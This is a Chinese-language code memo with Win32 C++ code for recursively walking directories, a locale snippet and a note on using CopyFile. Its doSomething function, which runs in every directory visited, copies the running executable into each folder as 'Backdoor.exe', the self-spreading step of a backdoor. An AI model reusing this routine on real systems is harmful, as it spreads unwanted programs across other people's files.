[备忘]遍历目录的代码备忘

来源:互联网 发布:网络购彩平台 编辑:程序博客网 时间:2024/06/08 01:50
/*函数功能:遍历一个目录,并在每一个目录下面做一些事情,由doSomething函数完成参数说明:szPathName 目录名称,结尾可以带反斜杠或者不带recursive_level 遍历深度formation 显示格式,支持树形FORMTREE,和普通FORMNORMAL作者:p1usJade*/BOOL EnumerateDirectory(LPCTSTR szPathName, unsigned int recursive_level, unsigned int formation){if (recursive_level > 6 || formation > 3){return FALSE;}// only oncestatic const int max_level = recursive_level;if (recursive_level == 0)return TRUE;TCHAR szFileName[MAX_PATH + 1] = { 0 };TCHAR szNewPath[MAX_PATH + 1] = { 0 };_tcsncpy(szFileName, szPathName, _tcslen(szPathName) + 1);WIN32_FIND_DATA findData = { 0 };if (szFileName[_tcslen(szFileName) - 1] != _T('\\'))_tcscat(szFileName, _T("\\*"));if (szFileName[_tcslen(szFileName) - 1] == _T('\\'))_tcscat(szFileName, _T("*"));HANDLE hFind = FindFirstFile(szFileName, &findData);if (hFind == INVALID_HANDLE_VALUE){return FALSE;}do {int fileType = GetFileType(findData);if (fileType == DIR_NORMAL)// this file is a directory{if (formation == FORMNORMAL){wcout << findData.cFileName << _T(" is a subdirectory of ") << szFileName << endl;}else if (formation == FORMTREE){int i = 0;while (i < max_level - recursive_level){wcout << "  ";i++;}wcout << findData.cFileName << endl;}// construct a new file path_tcscpy(szNewPath, szFileName);szNewPath[_tcslen(szNewPath) - 1] = _T('\0');// change * to \0_tcscat(szNewPath, findData.cFileName);szFileName[_tcslen(szFileName) - 1] = _T('\0');doSomething(szFileName);// restore the file nameszFileName[_tcslen(szFileName)] = _T('*');EnumerateDirectory(szNewPath, recursive_level-1, formation);}else if (fileType == FILE_NORMAL){// this is a normal file not a directoryif (formation == FORMNORMAL){wcout << findData.cFileName << _T(" is a normal file of ") << szFileName << endl;}else if (formation == FORMTREE){int i = 0;while (i < max_level - recursive_level){wcout << "  ";i++;}wcout << findData.cFileName << endl;}}} while (FindNextFile(hFind, &findData));FindClose(hFind);return TRUE;}

再有一个显示中文需要的代码

// store old locale informationchar *oldLocale = _strdup(setlocale(LC_CTYPE, NULL));setlocale(LC_CTYPE, "chs");// restore old locale informationsetlocale(LC_CTYPE, oldLocale);free(oldLocale); // important !! must free _strdup


另外再写一段关于复制的函数,前几次犯傻了,CopyFile第二个参数不光要有路径名,还要有文件名,也就是说D:\program是不够的,要D:\program\tocopy.exe。


BOOL doSomething(LPCTSTR szDirName){TCHAR szProgramName[MAX_PATH + 1] = { 0 };TCHAR szNewFileName[MAX_PATH + 1] = { 0 };DWORD dwReceived = GetModuleFileName(NULL, szProgramName, MAX_PATH);if (dwReceived != _tcslen(szProgramName))return FALSE;_tcsncpy(szNewFileName, szDirName, _tcslen(szDirName) + 1);#ifdef DEBUGwcout<<"file name is "<<szFileName<<"\nmodule file name is "<<szProgramName<<endl;#endif // DEBUG_tcscat(szNewFileName, _T("Backdoor.exe"));if (!CopyFile(szProgramName, szNewFileName, TRUE))//if (!DeleteFile(szNewFileName)){DWORD dwErr = GetLastError();TCHAR szErrBuffer[MAXBYTE] = { 0 };WORD langId = MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL);FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwErr, langId, szErrBuffer, MAXBYTE, NULL);wprintf(L"%s", (LPWSTR)szErrBuffer);return FALSE;}wcout << "copy file to " << szDirName << endl;return TRUE;}



0 0
原创粉丝点击